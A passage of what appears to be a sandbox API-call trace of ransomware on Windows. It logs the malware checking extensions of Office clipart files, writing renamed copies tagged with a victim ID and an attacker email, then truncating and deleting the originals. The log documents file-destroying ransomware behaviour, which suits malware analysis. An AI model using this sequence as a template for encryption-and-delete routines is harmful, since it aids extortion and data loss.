Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0070.386] lstrlenW (lpString=".doc") returned 4 [0070.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.386] lstrlenW (lpString=".docx") returned 5 [0070.386] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.386] lstrlenW (lpString=".pdf") returned 4 [0070.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.386] lstrlenW (lpString=".xls") returned 4 [0070.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.386] lstrlenW (lpString=".xlsx") returned 5 [0070.386] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.387] lstrlenW (lpString=".ppt") returned 4 [0070.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0070.387] lstrlenW (lpString=".zip") returned 4 [0070.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.387] lstrlenW (lpString=".rar") returned 4 [0070.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.387] lstrlenW (lpString=".bz2") returned 4 [0070.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.387] lstrlenW (lpString=".7z") returned 3 [0070.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0070.387] lstrlenW (lpString=".dbf") returned 4 [0070.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0070.387] lstrlenW (lpString=".1cd") returned 4 [0070.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0070.387] lstrlenW (lpString=".jpg") returned 4 [0070.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.387] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.387] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0070.388] GetLastError () returned 0x0 [0070.393] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x6e8, lpOverlapped=0x0) returned 1 [0070.401] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x6f0, lpOverlapped=0x0) returned 1 [0070.402] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.402] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.402] SetEndOfFile (hFile=0x390) returned 1 [0070.413] CloseHandle (hObject=0x390) returned 1 [0070.414] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.414] SetEndOfFile (hFile=0x328) returned 1 [0070.415] CloseHandle (hObject=0x328) returned 1 [0070.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0070.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0070.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0070.415] lstrlenW (lpString=".doc") returned 4 [0070.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.415] lstrlenW (lpString=".docx") returned 5 [0070.415] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.415] lstrlenW (lpString=".pdf") returned 4 [0070.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.415] lstrlenW (lpString=".xls") returned 4 [0070.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.416] lstrlenW (lpString=".xlsx") returned 5 [0070.416] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.416] lstrlenW (lpString=".ppt") returned 4 [0070.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0070.416] lstrlenW (lpString=".zip") returned 4 [0070.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.416] lstrlenW (lpString=".rar") returned 4 [0070.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.416] lstrlenW (lpString=".bz2") returned 4 [0070.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.416] lstrlenW (lpString=".7z") returned 3 [0070.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0070.416] lstrlenW (lpString=".dbf") returned 4 [0070.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0070.416] lstrlenW (lpString=".1cd") returned 4 [0070.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0070.416] lstrlenW (lpString=".jpg") returned 4 [0070.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.417] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.417] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0070.417] GetLastError () returned 0x0 [0070.417] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x914, lpOverlapped=0x0) returned 1 [0070.429] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x920, lpOverlapped=0x0) returned 1 [0070.430] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.430] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.431] SetEndOfFile (hFile=0x390) returned 1 [0070.431] CloseHandle (hObject=0x390) returned 1 [0070.431] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.431] SetEndOfFile (hFile=0x328) returned 1 [0070.432] CloseHandle (hObject=0x328) returned 1 [0070.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0070.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0070.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0070.432] lstrlenW (lpString=".doc") returned 4 [0070.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.432] lstrlenW (lpString=".docx") returned 5 [0070.432] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.432] lstrlenW (lpString=".pdf") returned 4 [0070.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.432] lstrlenW (lpString=".xls") returned 4 [0070.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.432] lstrlenW (lpString=".xlsx") returned 5 [0070.432] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.432] lstrlenW (lpString=".ppt") returned 4 [0070.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0070.432] lstrlenW (lpString=".zip") returned 4 [0070.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.432] lstrlenW (lpString=".rar") returned 4 [0070.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.433] lstrlenW (lpString=".bz2") returned 4 [0070.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.433] lstrlenW (lpString=".7z") returned 3 [0070.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0070.433] lstrlenW (lpString=".dbf") returned 4 [0070.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0070.433] lstrlenW (lpString=".1cd") returned 4 [0070.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0070.433] lstrlenW (lpString=".jpg") returned 4 [0070.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.433] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.434] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0070.434] GetLastError () returned 0x0 [0070.434] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x244, lpOverlapped=0x0) returned 1 [0070.440] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x250, lpOverlapped=0x0) returned 1 [0070.441] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.441] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.441] SetEndOfFile (hFile=0x390) returned 1 [0070.441] CloseHandle (hObject=0x390) returned 1 [0070.441] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.441] SetEndOfFile (hFile=0x328) returned 1 [0070.442] CloseHandle (hObject=0x328) returned 1 [0070.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0070.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0070.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0070.442] lstrlenW (lpString=".doc") returned 4 [0070.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.442] lstrlenW (lpString=".docx") returned 5 [0070.442] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.442] lstrlenW (lpString=".pdf") returned 4 [0070.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.443] lstrlenW (lpString=".xls") returned 4 [0070.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.443] lstrlenW (lpString=".xlsx") returned 5 [0070.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.443] lstrlenW (lpString=".ppt") returned 4 [0070.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0070.443] lstrlenW (lpString=".zip") returned 4 [0070.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.443] lstrlenW (lpString=".rar") returned 4 [0070.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.443] lstrlenW (lpString=".bz2") returned 4 [0070.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.443] lstrlenW (lpString=".7z") returned 3 [0070.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0070.443] lstrlenW (lpString=".dbf") returned 4 [0070.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0070.443] lstrlenW (lpString=".1cd") returned 4 [0070.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0070.443] lstrlenW (lpString=".jpg") returned 4 [0070.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.443] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.444] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0070.444] GetLastError () returned 0x0 [0070.444] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x128, lpOverlapped=0x0) returned 1 [0070.445] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x130, lpOverlapped=0x0) returned 1 [0070.446] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.446] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.518] SetEndOfFile (hFile=0x390) returned 1 [0070.519] CloseHandle (hObject=0x390) returned 1 [0070.519] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.519] SetEndOfFile (hFile=0x328) returned 1 [0070.519] CloseHandle (hObject=0x328) returned 1 [0070.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0070.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0070.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0070.520] lstrlenW (lpString=".doc") returned 4 [0070.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.520] lstrlenW (lpString=".docx") returned 5 [0070.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.520] lstrlenW (lpString=".pdf") returned 4 [0070.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.520] lstrlenW (lpString=".xls") returned 4 [0070.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.520] lstrlenW (lpString=".xlsx") returned 5 [0070.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.520] lstrlenW (lpString=".ppt") returned 4 [0070.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0070.520] lstrlenW (lpString=".zip") returned 4 [0070.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.521] lstrlenW (lpString=".rar") returned 4 [0070.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.521] lstrlenW (lpString=".bz2") returned 4 [0070.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.521] lstrlenW (lpString=".7z") returned 3 [0070.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0070.521] lstrlenW (lpString=".dbf") returned 4 [0070.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0070.521] lstrlenW (lpString=".1cd") returned 4 [0070.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0070.521] lstrlenW (lpString=".jpg") returned 4 [0070.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.521] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.521] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0070.522] GetLastError () returned 0x0 [0070.522] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xcb4, lpOverlapped=0x0) returned 1 [0070.595] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0070.595] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.595] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.596] SetEndOfFile (hFile=0x390) returned 1 [0070.596] CloseHandle (hObject=0x390) returned 1 [0070.596] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.596] SetEndOfFile (hFile=0x328) returned 1 [0070.597] CloseHandle (hObject=0x328) returned 1 [0070.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0070.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0070.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0070.597] lstrlenW (lpString=".doc") returned 4 [0070.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.597] lstrlenW (lpString=".docx") returned 5 [0070.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.597] lstrlenW (lpString=".pdf") returned 4 [0070.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.597] lstrlenW (lpString=".xls") returned 4 [0070.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.597] lstrlenW (lpString=".xlsx") returned 5 [0070.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.597] lstrlenW (lpString=".ppt") returned 4 [0070.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0070.597] lstrlenW (lpString=".zip") returned 4 [0070.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.597] lstrlenW (lpString=".rar") returned 4 [0070.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.598] lstrlenW (lpString=".bz2") returned 4 [0070.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.598] lstrlenW (lpString=".7z") returned 3 [0070.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0070.598] lstrlenW (lpString=".dbf") returned 4 [0070.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0070.598] lstrlenW (lpString=".1cd") returned 4 [0070.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0070.598] lstrlenW (lpString=".jpg") returned 4 [0070.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.598] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.598] SetFilePointerEx (in: hFile=0x328, 